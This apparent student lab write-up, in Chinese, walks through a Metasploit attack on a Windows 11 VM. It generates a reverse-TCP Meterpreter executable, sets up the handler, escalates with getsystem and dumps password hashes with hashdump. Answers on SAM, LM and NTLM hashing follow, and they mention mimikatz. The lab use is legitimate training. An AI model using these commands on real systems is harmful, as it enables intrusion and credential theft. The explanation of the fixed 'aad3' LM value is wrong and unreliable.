抓取内网Windows明文密码与hashdump抓取密文
- 一、msf远程控制实验
- 1、生成一个木马控制程序--mpf.exe
- 2、启用MSF攻击平台
- 3、加载模块和选择payload
- 4、设置payload参数并且进行监听
- 5、提权
- 6、hashdump抓取hash值
- 二、实验思考题:
- 2.1 windows登录的明文密码,存储过程是怎么样的,密文存在哪个文件下,该文件是否可以打开,并且查看到密文
- 2.2 我们通过hashdump 抓取出 所有用户的密文,分为两个模块,为什么? 这两个模块分别都代表什么
- 2.3 为什么第一个模块 永远是一样的aad3
- 2.4 这两个模块的加密算法有什么不同,如何加密的
一、msf远程控制实验
实验准备:
kali:192.168.111.129
win11:192.168.111.145
1、生成一个木马控制程序–mpf.exe
┌──(root㉿kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.111.129 lport=2331 -f exe > /root/mpf.exe
2、启用MSF攻击平台
┌──(root㉿kali)-[~]
└─# msfconsole
3、加载模块和选择payload
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
4、设置payload参数并且进行监听
msf6 exploit(multi/handler) > set lhost 192.168.111.129
lhost => 192.168.111.129
msf6 exploit(multi/handler) > set lport 2331
lport => 2331
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.111.129:2331
[*] Sending stage (175686 bytes) to 192.168.111.145
[*] Meterpreter session 2 opened (192.168.111.129:2331 -> 192.168.111.145:51668) at 2024-04-20 01:08:17 -0400
5、提权
meterpreter > uuid
[+] UUID: 6fa875f1b3ab9044/x86=1/windows=1/2024-04-20T05:02:53Z
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > uuid
[+] UUID: 6fa875f1b3ab9044/x86=1/windows=1/2024-04-20T05:02:53Z
6、hashdump抓取hash值
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Fly:1001:aad3b435b51404eeaad3b435b51404ee:9745ea134185c97df859fd43c05f0be7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:15f3f11a63b481d0a7ab3c1afef16dcd:::
二、实验思考题:
2.1 windows登录的明文密码,存储过程是怎么样的,密文存在哪个文件下,该文件是否可以打开,并且查看到密文
存储过程:
在windows中,用户登录的密码一般不会以明文的形式保存在计算机中,而是通过保存密码的哈希值来确保它的安全性;当用户注销、重启或锁屏后,操作系统会让winlogon.exe显示登录界面,接收用户的输入信息。用户输入密码后,密码信息会交给lsass进程。在这个过程中,会存一份明文密码,并将其加密成NTLM Hash。加密后的密码哈希值会与存储在SAM(Security Accounts Manager)数据库中的哈希值进行比较认证。
Windows默认使用NTLM或Kerberos身份认证协议进行加密存储用户登录的密码。
1、NTLM
它是一种质询/应答身份验证协议,用于在网络环境中验证用户的身份。NTLM协议既可以为工作组中的机器提供身份验证,也可以用于域环境身份验证。在NTLM认证的过程中,客户端回和服务器进行一系列的交互,以便于验证用户的身份;它提供了数据完整性和加密功能,适用于工作组和域环境
2、Kerberos
Kerberos是一种身份验证协议,旨在为大型网络环境提供强大的身份验证和访问控制。它涉及客户端、服务器和密钥分发中心的参与,通过票据授权实现安全访问。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下,kerberos作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。它的加密功能比NTLM更加强大;
密文一般存储在:C:\Windows\System32\config\SAM文件中
此文件保存了Windows系统中所有用户的密码哈希值,是一个二进制文件,因此无法直接打开并查看到明文密码;为了保护用户的密码安全,SAM文件是被Windows系统保护的,普通用户无法直接访问或修改。
如果想要查看到hash值或进一步获取明文密码,需要一定的技术手段。例如,可以使用mimikatz这类工具读取lsass.exe进程内存来获取已登录用户的NTLM hash。另外,也可以通过修改特定的注册表项,强制让系统在特定条件下暴露出明文密码。
2.2 我们通过hashdump 抓取出 所有用户的密文,分为两个模块,为什么? 这两个模块分别都代表什么
通过上图: hashdump抓取的密文分为LMhash和NThash:
1.LMhash(LAN Manager)
LM Hash全名为“LAN Manager Hash”,是微软为了提高Windows操作系统的安全性而采用的散列加密算法,其本质是DES加密。尽管LM Hash较容易被破解,但是为了保证系统的兼容性,Windows只是将LM Hash禁用了(从Windows Vista和Windows Server 2008版本开始,Windows操作系统默认禁用LM Hash),LM Hash明文密码被限制在14位以内,也就是说,如果要停止使用LM Hash,将用户的密码设置为14位以上就好了。如果LM Hash被禁用了,攻击者提高工具抓取的LM Hash通常为"aad3b435b51404eeaad3b435b51404ee"
2.NTLM hash:
NTLM Hash是微软为了在提高安全性的同时保证兼容性而设计的散列加者算法,NTLMHash是基于MD4加密算法进行加密的。个人版从Windows Vista以后,服务器版从Wndows Sever2003以后,Windows 操作系统的认证方式均为NTLM Hash.
它是Windows系统中更为常用的哈希算法,用于存储用户的密码信息,与LM哈希不同,NT哈希没有长度限制,并且使用了更安全的加密算法。因此,在大多数情况下,NT哈希是更可靠和安全的密码存储方式。
因此通过抓取这两个模块的哈希值,攻击者可以尝试破解用户的密码。不过,需要注意的是,即使获得了哈希值,也不意味着可以直接还原出明文密码。破解哈希值通常需要使用暴力破解、字典攻击或其他高级技术,这取决于密码的复杂性和长度。
2.3 为什么第一个模块 永远是一样的aad3
- 第一个模块是一样的"aad3"是因为在Windows系统中,如果用户的密码为空或者密码长度不足14个字符,系统会自动生成一个固定的"aad3"值进行存储。 这是由于LM算法要求密码长度必须是14个字符,如果密码不足14个字符,系统就会用"aad3"来填充。
- 还有是为了保证系统的兼容性,Windows将LM hash禁止使用了,当其被禁用时,攻击者通过工具抓取的LM hash通常为这个固定的值;所以LM hash的固定值永远都为aad3
2.4 这两个模块的加密算法有什么不同,如何加密的
1、LM Hash加密:
- 用户的密码转换为大写,密码转换为16进制字符串,不足14字节将会用0来再后面补全。
- 密码的16进制字符串被分成两个7byte部分。每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度
- 再分7bit为一组,每组末尾加0,再组成一组
- 上步骤得到的二组,分别作为key 为 KGS!@#$%进行DES加密。
- 将加密后的两组拼接在一起,得到最终LM HASH值。
2、NTLM hash加密算法如下:
- 先将用户密码转换为十六进制格式。
- 将十六进制格式的密码进行Unicode编码。
- 使用MD4摘要算法对Unicode编码数据进行Hash计算